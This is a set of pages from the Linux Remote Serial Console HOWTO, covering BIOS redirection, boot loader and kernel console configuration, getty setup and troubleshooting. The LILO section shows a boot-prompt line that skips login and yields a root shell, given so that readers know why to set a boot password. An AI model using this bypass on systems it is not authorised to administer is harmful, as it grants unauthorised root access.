The contributors to this HOWTO have encountered the following styles of BIOS support for serial consoles.

Redirection of textual VGA output to the serial port

The BIOS takes the interrupt 0x10 “video” requests used to write to the screen and sends the characters that would have appeared on the screen to the serial port. Characters recieved from the serial port are used to supply characters to BIOS interrupt 0x16 “read key” requests.

Any 16-bit application which uses the BIOS functions for outputing text to the screen and reading from the keyboard is redirected to the serial port. This includes the BIOS itself, the boot loader, and 16-bit operating systems (such as MS-DOS).

When a 32-bit operating system (such as Linux, BSD or Windows NT/2000/XP) loads the 16-bit BIOS is no longer accessible and the BIOS can no longer be used for input and output. The 32-bit operating system loads its own device drivers for this purpose. These device drivers then need to provide the redirection of console I/O to the serial port.

If your BIOS uses this technique then you should:

  1. Configure the BIOS to redirect keyboard input and video output to the serial port.

  2. Do not configure the boot loader, as the BIOS will redirect this 16-bit application's input and output to the serial port.

  3. Configure Linux to use the serial port as a console, as Linux is a 32-bit operating system.

BIOS configuration and power on self-test uses the serial port

These BIOSs use the serial port for configuration and the power-on self-test, but do not redirect the interrupt 0x10 “video” requests interrupt 0x16 “read key” requests to the serial port.

Some BIOSs which usually redirect all keyboard and video output to the serial port can be configured in only to redirect BIOS inpout and output. Look for a BIOS configuration option similar to Cease redirection after boot.

If your BIOS uses this technique or you choose to set Cease redirection after boot then you should:

  1. Configure the BIOS to send its output to the serial port.

  2. Configure the boot loader to use the serial port.

  3. Configure Linux to use the serila port as the console, as Linux is a 32-bit operating system.

Redirection of graphical VGA output to the serial port

Some graphical 32-bit operating systems do not provide their own facilities to send console output to the serial port. Some BIOSs attempt to overcome this shortcoming, using a propietary serial protocol to send graphical output to a remote serial client.

As these machines cannot be connected to from a standard terminal emulator this facility is best left unconfigured when using the Linux operating system.

  1. Configure the BIOS not to send output to the serial port.

  2. Configure the boot loader to use the serial port.

  3. Configure Linux to use the serial port as the console.

No serial port facilities

The BIOS cannot be accessed from the serial port, so power-on self-test messages cannot be seen.

Note that BIOS may still be able to be configured remotely using the /dev/nvram device. This takes some care.

  1. Configure the boot loader to use the serial port.

  2. Configure Linux to use the serial port as the console.

If you need to configure the boot loader to use the serial port then continue to Chapter 4. Otherwise go to directly to Chapter 5 to configure the kernel; this is done by configuring the boot loader to pass boot parameters to the Linux kernel.

Prev | Home | Next
Configure the terminal or the terminal emulator |  | Configure the boot loader


Bugs and annoyances

Remote Serial Console HOWTO
Prev Next

Appendix A. Bugs and annoyances

Table of Contents
A.1. Red Hat Linux 7.1 and SysVinit
A.2. BIOSs, keyboards and video cards
A.3. Modem hangs up upon reboot
A.4. init and syslog output does not display on secondary consoles
A.5. The console is unresponsive after connecting
A.6. Modem hangs up during initialization
A.7. Boot loader has no flow control
A.8. Boot loaders are vulnerable to line noise
A.9. Advanced Power Management
A.10. Modems and overseas telecommunications requirements
Prev | Home | Next
WinModems |  | Red Hat Linux 7.1 and SysVinit


Advanced Power Management

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.9. Advanced Power Management

APM allows control of the power from software. This can be a blessing and a curse.

The blessing is that the machine can be cleanly and totally shut down remotely. You may want to do this if the remote site is maintaining their power supply.

The curse is that once powered down the machine will not start up again until the Power button is physically pressed. Some machines have a BIOS or motherboard setting to defeat this unhelpful behaviour.

Caution | Errors when typing shutdown are worse with APM
 | Be careful not to confuse shutdown -r now, which cleanly reboots the machine, with shutdown -h now, which cleanly powers down the machine. Someone will need to physically press the Power button if you choose wrongly.

If you are serious about remote site computing then you should investigate remote power switches from companies like Western Telematic, Server Technology and many others. Some models include built-in terminal servers, built-in modems and RS-232 lines to simulate a UPS input power failure (and thus shut the Linux system down cleanly before removing power).

Prev | Home | Next
Boot loaders are vulnerable to line noise | Up | Modems and overseas telecommunications requirements


Boot loader has no flow control

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.7. Boot loader has no flow control

Most boot loaders do not support CTS/RTS flow control. This can cause some data loss where large speed mis-matches exist, as is often the case with a modern modem connected into a 9600bps fixed-speed port.

SYSLINUX 1.66 supports flow control.

Prev | Home | Next
Modem hangs up during initialization | Up | Boot loaders are vulnerable to line noise


Boot loaders are vulnerable to line noise

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.8. Boot loaders are vulnerable to line noise

Most boot loaders will sit at their prompt forever after receiving a single character of line noise.

Some modems will let the RS-232 signals "float", sending noise when their is no caller. Because the modem is not asserting Data Carrier Detect it expects the receiver to discard the noise characters.

The combination of an unfortunate boot loader with an unfortunate modem can result in a machine that will regularly hang during booting.

If you cannot configure your boot loader to obey DCD then be careful to test any modem you intend to purchase to ensure that it does not generate characters when their is no caller. At the present only SYSLINUX implements full RS-232 status signals.

Prev | Home | Next
Boot loader has no flow control | Up | Advanced Power Management


Modems and overseas telecommunications requirements

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.10. Modems and overseas telecommunications requirements

There is no world-wide approval processes to certify that a modem is suitable for connection to the telephone network. This is despite the presence of a common set of technical standards that modems must meet for use on the global switched telephone network. There is little or no recognition of one nation's approvals by other national regulators.

There are national technical requirements concerning the use of modems. Common requirements are to set the modem and its software to answer after the second ring and never to dial the same engaged or faulty number more than five times in a row.

Warning | Telecommunications device approvals
 | Using or importing unapproved telecommications equipment is a criminal offense in most countries. Additionally, the operator of some types of equipment may require certification.

Privacy laws may control what can be done with calling line identification records.

Do not assume that Touch Tone dialling is globally available. There is no common standard for decadic dialling: some countries have the longest sequence for zero, other countries have the shortest sequence for zero.

There is little coordination of national numbering plans. Be careful not to call a national emergency services number when intending to dial the international access code. Common emergency services numbers are: 112, 911, 000. International access codes vary by country.

Intelligent network features such as toll-free numbers are usually not available to calls originating from abroad.

International calls may be routed through fiber optical submarine cable, satelite or High Frequency radio. The possible bit rates vary considerably between these options. Expect the maximum throughput with no errors from fiber optical submarine cable. Expect 1200bps to 2400bps with some errors from satelite. Expect 75bps to 300bps with many errors from HF radio.

There will be considerable latency depending upon the distance. If the latency becomes greater than the modem's error correction window then you will get better Zmodem file transfer performance if you disable the HDLC-based error correction in the modems.

International calls may have their signal altered considerably. Traditionally, international calls are placed through analogue conditioning circuits to minimise echo. This conditioning limits the maximum bit rate a modem can achieve, probably to less than 9600bps. You may be able to program a guard tone to disable analogue conditioning, this will vary by carrier and the commands to send the guard tone vary by modem.

On some modern international circuits, particularly those accessed by international calling cards, digital voice compression is used. No reliable modem connection can be established over these digitally-compressed circuits. The best current tactic for identifying these digitally compressed circuits is to listen to the background noise — when no-one is speaking the real background noise will be replaced by a synthesized background noise (a compression technique called silence suppression).

Prev | Home | Next
Advanced Power Management | Up | Uploading files from a serial console


init and syslog output does not display on secondary consoles

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.4. init and syslog output does not display on secondary consoles

The kernel can be configured to output messages to the serial port and to the attached monitor. However messages from init and syslog only appear on the last-listed console device, in our case the serial port.

This can confuse someone looking at the attached monitor, as the messages on the monitor suggest that the machine has hung just before starting init. Eventually the machine will finish booting and getty will display a login: request. A Post-it Note on the monitor may reassure the impatient.

Prev | Home | Next
Modem hangs up upon reboot | Up | The console is unresponsive after connecting


Modem hangs up upon reboot

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.3. Modem hangs up upon reboot

During reboot the serial controller is reset. This drops the modem control line Data Terminal Ready. This in turn instructs the modem to hang up.

Avoid the temptation to configure the modem to ignore DTR. This leads to a worse bug, where the telephone line does not clear down correctly, the modem is engaged, and there is no way to clear it. Ignoring DTR also gives no way to clear hostile callers from the line.

You may wish to record the amount of time that the computer takes from Restarting system to the boot loader prompt.

The modem may also hang up during the boot process (as the serial chip is reset) or when the init run level is changed (as getty is restarted).

Prev | Home | Next
BIOSs, keyboards and video cards | Up | init and syslog output does not display on secondary consoles


Red Hat Linux 7.1 and SysVinit

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.1. Red Hat Linux 7.1 and SysVinit

The System V init system shipped with Red Hat Linux 7.1 does not support serial console correctly in single user mode. See Red Hat advisory RHBA-2001:085-02 New SysVinit package to fix hangs on serial console. The advisory announces an update to the package SysVinit-2.78-15.i386.rpm that is shipped on the Red Hat Linux 7.1 CD.

Prev | Home | Next
Bugs and annoyances | Up | BIOSs, keyboards and video cards


Modem hangs up during initialization

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.6. Modem hangs up during initialization

Using setserial will reset the serial port. This will hang up the modem.

setserial is sometimes used during the boot process, resulting in the output seen in Figure A-1. Look into the file /etc/rc.serial and remove any references to the port which is being used as the serial console.

Figure A-1. setserial causes a modem to hang up as the machine initializes

…
Mounting local filesystems:  [  OK  ]
Turning on user and group quotas for local filesystems:  [  OK  ]
Enabling swap space:  [  OK  ]
/dev/ttyS0 at 0x03f8 (irq = 4) is a 16550A

NO CARRIER

Prev | Home | Next
The console is unresponsive after connecting | Up | Boot loader has no flow control


BIOSs, keyboards and video cards

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.2. BIOSs, keyboards and video cards

Some BIOSs will not boot if the keyboard is not installed.

Keyboard faulty, press F1

Most BIOSs have settings that will allow them to boot without a keybaord.

Some odd BIOSs will not boot if no video card is installed.

Prev | Home | Next
Red Hat Linux 7.1 and SysVinit | Up | Modem hangs up upon reboot


The console is unresponsive after connecting

Remote Serial Console HOWTO
Prev Appendix A. Bugs and annoyances Next

A.5. The console is unresponsive after connecting

The terminal's screen may be blank after connecting to the machine. Pressing Enter will usually bring up a login: request.

If no characters appear upon the screen after pressing Enter do not panic. The machine must have power and the operating system must have booted: for our call to be answered by the modem Data Terminal Ready must be active.

The most likely thing is that the machine booted and is running a fsck filesystem check. These checks can take some considerable time, all with no or very little output.

It will help your peace of mind considerably to record in the system log book the time fsck takes to check each filesystem.

If you see garbled text after pressing Enter then there are mismatched bit rates or parity parameters. Correct your terminal emulator's configuration.

Prev | Home | Next
init and syslog output does not display on secondary consoles | Up | Modem hangs up during initialization


Colophon

Written in DocBook 4.1 SGML. XEmacs and the PSGML package were used to create the SGML source file. The HTML, PostScript and PDF output was generated from the DocBook source by the Linux Documentation Project.

It appears that some character entities, such as quotes and ellipses, do not appear correctly in the PDF generated by the Linux Documentation Project. In this case you may wish to download the PostScript file and use GhostScript to convert the PostScript file to PDF with the command:

bash$ gs -q -dNOPAUSE -dBATCH -dSAFER \
-sPAPERSIZE=a4 -sDEVICE=pdfwrite -sOutputFile=Remote-Serial-Console-HOWTO.pdf \
-c .setpdfwrite -f Remote-Serial-Console-HOWTO.ps

Prev | Home
Comments and corrections |


Configure the boot loader

Remote Serial Console HOWTO
Prev Next

Chapter 4. Configure the boot loader

Table of Contents
4.1. Configure the LILO boot loader
4.2. Configure the GRUB boot loader
4.3. Configure the SYSLINUX boot loader

When a PC boots the CPU it runs code from Read-Only Memory. This code is the Basic Input/Output System, or BIOS. The BIOS then loads a boot loader from the Master Boot Record of the first hard disk.[1] In turn, the boot loader reads the operating system into memory and then runs it.[2]

Neither the BIOS nor the boot loader are strictly necessary. For example, there are versions of Linux that run directly from the flash memory which usually contains the BIOS.

The benefits of using a boot loader are:

  • Multiple operating systems can be booted. See the Linux + Windows HOWTO for more information.

  • Parameters can be passed to the kernel interactively. This is useful for solving hardware problems; for example, some interrupt lines can be disabled, direct memory access to some drives can be disabled, and so on. See the Linux BootPrompt-HOWTO for a list of kernel parameters.

  • Differing kernels can be interactively loaded. This is useful when deploying a new kernel, as it provides simple fallback to a proven kernel.

For these reasons systems administrators want to be able to interactively control the boot loader from the serial console.

LILO, GRUB and SYSLINUX are popular boot loaders for IBM PCs. Find which of these boot loaders your Linux installation uses and then follow the instructions for your boot loader in the following section.

Notes

[1] | As usual with IBM PC/AT hardware “loads a boot loader from the MBR of the first hard disk” is a simplification. BIOS settings permitting, the MBR can be loaded from the first two detected hard disks of any particular disk technology. Thus the MBR can be loaded from one of the first two detected IDE disks and one of the first two detected SCSI disks.
[2] | Another simplification. A 512 byte MBR is too small to contain a program big enough to load a complex operating system. Thus most boot loaders have two stages, the first stage is located in the MBR and is only able to load the second stage of the boot loader from somewhere on a disk (such as the boot sector of the first partition). The second stage of the boot loader presents the user interface and loads the operating system.
Prev | Home | Next
Optionally configure the BIOS |  | Configure the LILO boot loader


Configure the GRUB boot loader

Remote Serial Console HOWTO
Prev Chapter 4. Configure the boot loader Next

4.2. Configure the GRUB boot loader

GRUB is a boot loader designed to boot a wide range of operating systems from a wide range of filesystems. GRUB is becoming popular due to the increasing number of possible root filesystems that can Linux can reside upon.

GRUB is documented in a GNU info file. Type info grub to view the documentation.

The GRUB configuration file is /boot/grub/menu.lst, although some distributions use another configuration file. For example, Red Hat Linux uses the file /boot/grub/grub.conf.

GRUB configuration files are interpreted. Syntax errors will not be detected until the machine is rebooted, so take care not to make typing errors.

Edit the GRUB configuration file and remove any splashimage entries. If these entries are not removed GRUB 0.90 behaves very oddly, transferring control between the serial console and the attached monitor and keyboard.

If there is not already a password command in the GRUB configuration file then create a hashed password, see Figure 4-4. The password should be good, as it can be used to gain root access.

Figure 4-4. Using md5crypt to create a hashed password for GRUB

grub> md5crypt
Password: **********
Encrypted: $1$U$JK7xFegdxWH6VuppCUSIb.

Use that hashed password in the GRUB configuration file, this is shown in Figure 4-5.

Figure 4-5. GRUB configuration to require a password

password --md5 $1$U$JK7xFegdxWH6VuppCUSIb.

Define the serial port and configure GRUB to use the serial port, as shown in Figure 4-6.

Figure 4-6. GRUB configuration for serial console

serial --unit=0 --speed=9600 --word=8 --parity=no --stop=1
terminal serial

--unit is the number of the serial port, counting from zero, unit 0 being COM1.

Note that the values of --parity are spelt out in full: no, even and odd. The common abbreviations n, e and o are not accepted.

If there is mysteriously no output on the serial port then suspect a syntax error in the serial or terminal commands.

If you also want to use and attached monitor and keyboard as well as the serial port to control the GRUB boot loader then use the alternative configuration in Figure 4-7.

Figure 4-7. GRUB configuration for serial console and attached monitor and keybaord console

password --md5 $1$U$JK7xFegdxWH6VuppCUSIb.
serial --unit=0 --speed=9600 --word=8 --parity=no --stop=1
terminal --timeout=10 serial console

When both the serial port and the attached monitor and keyboard are configured they will both ask for a key to be pressed until the timeout expires. If a key is pressed then the boot menu is displayed to that device. The other device sees nothing.

If no key is pressed then the boot menu is displayed on the whichever of serial or console is listed first in the terminal command. After the timeout set by the timeout the default option set by default is booted.

Press any key to continue.
Press any key to continue.
Press any key to continue.
Press any key to continue.
Press any key to continue.
Press any key to continue.
Press any key to continue.
Press any key to continue.
Press any key to continue.
Press any key to continue.

    GRUB  version 0.90  (639K lower / 162752K upper memory)

 +-------------------------------------------------------------------------+
 | [ Red Hat Linux (2.4.9-21)   ]                                          |
 |                                                                         |
 |                                                                         |
 +-------------------------------------------------------------------------+
      Use the ^ and v keys to select which entry is highlighted.
      Press enter to boot the selected OS or 'p' to enter a
      password to unlock the next set of features.

   The highlighted entry will be booted automatically in 10 seconds.

Note that there are two timeouts involved. Press any key to continue is printed for terminal --timeout=10 seconds, waiting for someone on the keyboard or terminal to press a key to get the input focus. Then the menu is displayed for timeout 10 seconds before the default boot option is taken.

If the terminal attached to the serial port is not a real or emulated VT100, then force GRUB to use it's command line interface. This interface is much more difficult to use than GRUB's menu interface; however, the command line interface does not assume the VT100's terminal language.

Figure 4-8. GRUB configuration for command line interface for terminals other than VT100

terminal --timeout=10 --dumb serial console

This HOWTO does not discuss the use of GRUB's command line. It is far too complex and error-prone to recommend for use on production machines. Wizards will know to consult GRUB's info manual for the commands required to boot the kernel.

GRUB's menu's can be edited interactively after P is pressed and the password supplied. A better approach is to add menu items to boot the machine into alternative run levels. A sample configuration showing a menu entry for the default run level and an alternative menu entry for single user mode (run level s) is shown in Figure 4-9. Remember to use the lock command to require a password for single user mode, as single user mode does not ask for a Linux password.

Figure 4-9. Adding a single user mode option to the GRUB menu

password --md5 $1$U$JK7xFegdxWH6VuppCUSIb.
default 0
title Red Hat Linux (2.4.9-21)
        root (hd0,0)
        kernel /vmlinuz-2.4.9-21 ro root=/dev/hda6
        initrd /initrd-2.4.9-21.img
title Red Hat Linux (2.4.9-21) single user mode
        lock
        root (hd0,0)
        kernel /vmlinuz-2.4.9-21 ro root=/dev/hda6 s
        initrd /initrd-2.4.9-21.img

File names in the kernel and initrd commands are relative to the GRUB installation directory, which is usually /boot/grub. So /vmlinuz-2.4.9-21 is actually the file /boot/grub/vmlinuz-2.4.9-21.

GRUB is now configured to use the serial console. The kernels booted from GRUB are yet to be configured to use the serial console.

Prev | Home | Next
Configure the LILO boot loader | Up | Configure the SYSLINUX boot loader


Configure the LILO boot loader

Remote Serial Console HOWTO
Prev Chapter 4. Configure the boot loader Next

4.1. Configure the LILO boot loader

LILO is the Linux Boot Loader used on Intel machines. Other boot loaders for Intel machines exist, common alternatives are GRUB and SYSLINUX. Equivalents to LILO exist for other processor architectures, their names are usually some play upon ‘LILO’.

LILO is documented in the lilo(8) and lilo.conf(5) manual pages; the LILO Generic boot loader for Linux … User's Guide found in the file /usr/share/doc/lilo…/doc/User_Guide.ps; and the LILO mini-HOWTO.

The LILO configuration is kept in the file /etc/lilo.conf. The first part of the file applies to all images. The following parts are image descriptions for each kernel.

Set LILO to use the serial port. The syntax of the serial line parameters follows that used by the kernel, except that one stop bit is assumed.

Figure 4-1. Syntax of LILO serial command, in EBNF

serial=<port>[,<speed>[<parity>[<data>]]]

Where the variables are the same as used by the kernel (shown in Figure 2-7) and:

Figure 4-2. LILO serial EBNF variables

<port> ::= 0 | 1| … | 3

Our examples use /dev/ttyS0, which LILO knows as port 0.

Figure 4-3. LILO boot loader sample configuration

serial=0,9600n8
timeout=100
restricted
password=PASSWORD

The parameters restricted and password are used to avoid someone dialing in, booting the machine, and stepping around the Linux access permissions by typing:

Example 4-1. Using kernel parameters to avoid access permissions

LILO: linux init=/sbin/sash

The password should be good, as it can be used to gain root access. The LILO password is stored in plain text in the configuration file, so it should never be the same as any other password. The permissions on the configuration file should be set so that only root can read /etc/lilo.conf.

bash# chmod u=rw,go= /etc/lilo.conf

LILO has an option to display a boot message. This does not work with serial consoles. Remove any lines like:

message=/boot/message

LILO is now configured to use the serial console. The kernels booted from LILO are yet to be configured to use the serial console.

Prev | Home | Next
Configure the boot loader | Up | Configure the GRUB boot loader


Configure the SYSLINUX boot loader

Remote Serial Console HOWTO
Prev Chapter 4. Configure the boot loader Next

4.3. Configure the SYSLINUX boot loader

SYSLINUX is a boot loader that is installed on a MS-DOS floppy disk. As directed by it's configuration file \SYSLINUX.CFG it will load one of the files from the floppy disk as a Linux kernel.

SYSLINUX presents a simple text interface that can be used to select between canned configurations defined in the configuration file and can be used to add parameters to the kernel.

ISOLINUX and PXELINUX are variants of SYSLINUX for CD-ROMs and Intel's Preboot Execution Environment.

SYSLINUX supports a variety of serial port speeds, but it only supports eight data bits, no parity and one stop bit. SYSLINUX supports the serial ports COM1: through to COM4:, as with most boot loaders these are written as port 0 through to port 3.

For SYSLINUX to support a serial console add a new first line to \SYSLINUX.CFG:

Figure 4-10. Syntax of SYSLINUX serial command, in EBNF

serial <space> <port> [ <space> <speed> [ <space> <syslinux_flow_control> ] ]

The variables are the same as used by syntax descriptions in Figure 2-7 and Figure 4-2 plus those in Figure 4-11.

Figure 4-11. SYSLINUX serial EBNF variables

<space> ::= ‘ ’
<syslinux_flow_control> ::= <hex_digits>
<hex_digits> ::= 0x<hex_digit><hex_digit><hex_digit>
<hex_digit> ::= 0 | 1 | … | 9 | a | b | … | f

The <syslinux_flow_control> variable controlling the RS-232 status and flow control signals is optional. If your null-modem cable does not present any status or handshaking signals then do not use it. The value of <syslinux_flow_control> is calculated by adding the hexadecimal values for the desired flow control behaviours listed in Table 4-1.

The behaviours for a correctly-wired null-modem cable or a correctly configured modem are marked “Required for full RS-232 compliance” in the table. The sum of these values is 0xab3.

Table 4-1. SYSLINUX flow control bitmap

Flow control behaviour | Hex value | Required for full RS-232 compliance?
Assert DTR | 0x001 | Yes
Assert RTS | 0x002 | Yes
Wait for CTS assertion | 0x010 | Yes
Wait for DSR assertion | 0x020 | Yes
Wait for RI assertion | 0x040 | No
Wait for DCD assertion | 0x080 | Yes
Ignore input unless CTS asserted | 0x100 | No
Ignore input unless DSR asserted | 0x200 | Yes
Ignore input unless RI asserted | 0x400 | No
Ignore input unless DCD asserted | 0x800 | Yes

Our preferred configuration of 9600bps, port 0, full RS-232 status signals and CTS/RTS flow control is written as:

serial 0 9600 0xab3

Tip

When using this configuration SYSLINUX will not display anything and will not accept any typed character until the RS-232 status signals show a connected modem call (or a connected terminal if you are using a null-modem cable).

If you have a null modem cable with no RS-232 status signals and no flow control then use:

serial 0 9600

Remember that the serial command must be the first line in \SYSLINUX.CFG.

Prev | Home | Next
Configure the GRUB boot loader | Up | Configure Linux kernel


Configure Linux kernel

Remote Serial Console HOWTO
Prev Next

Chapter 5. Configure Linux kernel

Table of Contents
5.1. Configure Linux kernel using LILO
5.2. Configure Linux kernel using GRUB
5.3. Configure Linux kernel using SYSLINUX

The Linux kernel is configured to use a serial console by passing it the console parameter. The console parameter can be given repeatedly; in that case output is sent to all consoles and input is taken from the last listed console. The last console is the one Linux uses as the /dev/console device.

The syntax of the console parameter is given in Figure 5-1.

Figure 5-1. Kernel console syntax, in EBNF

console=ttyS<port>[,<mode>]
console=tty<virtual_terminal>
console=lp<parallel_port>
console=ttyUSB[<usb_port>[,<speed>[<parity>[<data>[r]]]]]

<port> is the number of the serial port. This is defined in Figure 4-2 and discussed in Section 2.2. The examples in this HOWTO use the first serial port, giving <port> the value ttyS0.

If you are using the devfs device filesystem with your Linux installation the kernel parameter for the first serial port is still ttyS0, even though the first serial device is no longer known as /dev/ttyS0 but as /dev/ttys/0.

<mode> is defined in Figure 2-7 and is discussed in Section 2.3. The examples in this HOWTO use 9600 bits per second, one start bit, eight data bits, no parity, one stop bit, and CTS/RTS flow control giving <mode> the value of 9600n8r.

<usb_port> can specify the address of a USB dongle containing a serial port to be used as a serial console.[1] For example, the serial port console=ttyS00,9600n8r when moved to a USB serial dongle would be written as console=ttyUSB0,9600n8r. The USB subsystem is started rather late in the boot process, console messages printed during boot before the USB subsystem is loaded will be lost.

With no console parameter the kernel will use the first virtual terminal, which is /dev/tty0. A user at the keyboard uses this virtual terminal by pressing Ctrl-Alt-F1.

If your computer contains a video card then we suggest that you also configure it as a console. This is done with the kernel parameter console=tty0.

For computers with both a video card and a serial console in the port marked ‘COM1:’ this HOWTO suggests the kernel parameters:

Figure 5-2. Recommended kernel parameters, PCs with video card

console=tty0 console=ttyS0,9600n8r

Kernel messages will appear on both the first virtual terminal and the serial port. Messages from the init system and the system logger will appear only on the first serial port. This can be slightly confusing when looking at the attached monitor: the machine will appear to boot and then hang. Don't panic, the init system has started but is now printing messages to the serial port but is printing nothing to the screen. If a getty has been configured then a login: prompt will eventually appear on the attached monitor.

For PCs without a video card, this HOWTO suggests the kernel parameters:

Figure 5-3. Recommended kernel parameters, PCs without video card

console=ttyS0,9600n8r

These parameters are passed to the booting kernel by the boot loader. Next we will configure the boot loader used by your Linux installation to pass the console parameters to the kernel.

Notes

[1]

A serial console attached to a USB dongle is only available in Linux kernel version 2.5.7 and later. The 2.5 series of kernels are developer's kernels and are not ready for production use.

Prev | Home | Next
Configure the SYSLINUX boot loader |  | Configure Linux kernel using LILO


Configure Linux kernel using GRUB

Remote Serial Console HOWTO
Prev Chapter 5. Configure Linux kernel Next

5.2. Configure Linux kernel using GRUB

Find each title entry in the GRUB configuration file. It will be followed by a kernel line. For example

title Red Hat Linux (2.4.9-21)
  root (hd0,0)
  kernel /vmlinuz-2.4.9-21 ro root=/dev/hda6
  initrd /initrd-2.4.9-21.img

Modify each of the kernel lines to append the parameters that inform the kernel to use a serial console.

Figure 5-5. Recommened kernel parameters, GRUB configuration

title Red Hat Linux (2.4.9-21)
  root (hd0,0)
  kernel /vmlinuz-2.4.9-21 ro root=/dev/hda6 console=tty0 console=ttyS0,9600n8r
  initrd /initrd-2.4.9-21.img

As a complete example, Example 5-3 is a typical GRUB configuration from Red Hat Linux 7.2.

Example 5-3. Complete GRUB configuration, as installed by vendor

default=0
timeout=10
splashimage=(hd0,0)/grub/splash.xpm.gz
password --md5 $1$wwmIq64O$2vofKBDL9vZKeJyaKwIeT.
title Red Hat Linux (2.4.9-21)
root (hd0,0)
  kernel /vmlinuz-2.4.9-21 ro root=/dev/hda6
  initrd /initrd-2.4.9-21.img

The modified configuration file is shown in Example 5-4.

Example 5-4. Complete GRUB configuration, modified for serial console

default=0
timeout=10
password --md5 $1$wwmIq64O$2vofKBDL9vZKeJyaKwIeT.
serial --unit=0 --speed=9600 -word=8 --parity=no --stop=1
terminal --timeout=10 serial console
title Red Hat Linux (2.4.9-21)
  root (hd0,0)
  kernel /vmlinuz-2.4.9-21 ro root=/dev/hda6 console=tty0 console=ttyS0,9600n8r
  initrd /initrd-2.4.9-21.img
title Red Hat Linux (2.4.9-21) single user mode
  lock
  root (hd0,0)
  kernel /vmlinuz-2.4.9-21 ro root=/dev/hda6 console=tty0 console=ttyS0,9600n8r s
  initrd /initrd-2.4.9-21.img

Prev | Home | Next
Configure Linux kernel using LILO | Up | Configure Linux kernel using SYSLINUX


Configure Linux kernel using LILO

Remote Serial Console HOWTO
Prev Chapter 5. Configure Linux kernel Next

5.1. Configure Linux kernel using LILO

For each image entry in /etc/lilo.conf add the line:

Figure 5-4. Recommended kernel parameters, LILO configuration

append="console=tty0 console=ttyS0,9600n8r"

Sometimes the append line will already exist. For example

append="mem=1024M"

In this case, the existing append line is modified to pass all the parameters. The result is:

append="mem=1024M console=tty0 console=ttyS0,9600n8r"

As a complete example, a typical /etc/lilo.conf configuration from Red Hat Linux 7.1 is:

Example 5-1. Complete LILO configuration, as installed by vendor

boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
message=/boot/message
default=linux

image=/boot/vmlinuz-2.4.2-2
  label=linux
  read-only
  root=/dev/hda6
  initrd=/boot/initrd-2.4.2-2.img

This is modified to

Example 5-2. Complete LILO configuration, modified for serial console

boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
default=linux
# Changes for serial console on COM1: in global section
#   Deleted: message=/boot/message
timeout=200
serial=0,9600n8
timeout=100
restricted
password=de7mGPe3i8

image=/boot/vmlinuz-2.4.2-2
  label=linux
  read-only
  root=/dev/hda6
  initrd=/boot/initrd-2.4.2-2.img
  # Changes for serial console on COM1: in each image section
  append="console=tty0 console=ttyS0,9600n8r"

Now that we have finished configuring LILO, use the lilo command to install the new boot record onto the disk:

bash# chown root:root /etc/lilo.conf
bash# chmod u=rw,g=,o= /etc/lilo.conf
bash# lilo
Added linux *

Prev | Home | Next
Configure Linux kernel | Up | Configure Linux kernel using GRUB


Configure Linux kernel using SYSLINUX

Remote Serial Console HOWTO
Prev Chapter 5. Configure Linux kernel Next

5.3. Configure Linux kernel using SYSLINUX

Edit each LABEL entry to add an APPEND line containing the serial console parameter to pass to the Linux kernel. Like LILO, if a kernel already has parameters, then add our parameters to the list after APPEND.

For example:

Figure 5-6. Recommended kernel parameters, SYSLINUX configuration

APPEND console=tty0 console=ttyS0,9600n8r

There are some traps for beginners in the differences between LILO and SYSLINUX. LILO uses append=, whereas SYSLINUX uses just append. lilo needs to be run after each change to /etc/lilo.conf, whereas syslinux does not need to be run after changing \SYSLINUX.CFG.

Prev | Home | Next
Configure Linux kernel using GRUB | Up | Configure getty


Where to next from here?

Remote Serial Console HOWTO
Prev Chapter 8. Reboot and test Next

8.4. Where to next from here?

The serial console is now configured. Check the security pointers given in Chapter 9 to complete the job.

Prev | Home | Next
Test the console | Up | Security


Configure getty

Remote Serial Console HOWTO
Prev Next

Chapter 6. Configure getty

Table of Contents
6.1. init system
6.2. Traditional getty
6.3. agetty
6.4. mgetty
6.5. mingetty
6.6. No getty

getty monitors serial lines, waiting for a connection. It then configures the serial link, sends the contents of /etc/issue, and asks the person connecting for their login name. getty then starts login and login asks the person for their password. If the user does nothing, getty or login hang up and getty goes back to waiting.

The getty command has been re-implemented numerous times. There is a wide selection of getty clones, each with slight differences in behavior and syntax. We will describe the traditional getty, and then some popular alternatives.

One of the jobs of a getty is to set the TERM environment variable to indicate the make and model of the terminal which is connecting. In this HOWTO we set the terminal to the commonly emulated DEC VT100. If you occassionally connect using a different terminal emulation then you can interactively change your choice of terminal by setting TERM to the appropiate terminal listed in /etc/termcap.

Figure 6-1. Interactively altering the connecting terminal's make and model

bash$ TERM=kermit
bash$ tset -r

But first, let's see how getty gets started in the first place.

Prev | Home | Next
Configure Linux kernel using SYSLINUX |  | init system


agetty

Remote Serial Console HOWTO
Prev Chapter 6. Configure getty Next

6.3. agetty

agetty is an “alternative getty”. It takes all of its parameters on the command line, with no use of /etc/gettydefs or any other configuration file. agetty is documented in the manual page agetty(8).

Figure 6-5 shows how to invoke agetty for use with a serial console.

Figure 6-5. /etc/inittab entry for agetty

s0:2345:respawn:/sbin/agetty -h -t 60 ttyS0 9600 vt102

ttyS0 refers to the serial device /dev/ttyS0.

9600 is the bits per second of the serial link. agetty will support multiple values, using the modem's CONNECT message or the RS-232 Break signal to select between them. Only use one value, as serial consoles only have only one data rate.

vt102 sets the TERM environment variable to indicate that a VT100 terminal is connecting.

-h activates CTS/RTS handshaking.

-t 60 allows 60 seconds for someone to attempt to log in before the modem is hung up.

agetty uses escape sequences in /etc/issue to insert information. For example, \n.\o \l will appear as remote.example.edu.au ttyS0.

Prev | Home | Next
Traditional getty | Up | mgetty


Traditional getty

Remote Serial Console HOWTO
Prev Chapter 6. Configure getty Next

6.2. Traditional getty

Traditional getty implementations include uugetty and getty_ps.

The traditional getty is listed in /etc/inittab with the name of a section in /etc/gettydefs to use for its configuration. Our example in Figure 6-2 used the section CON9600.

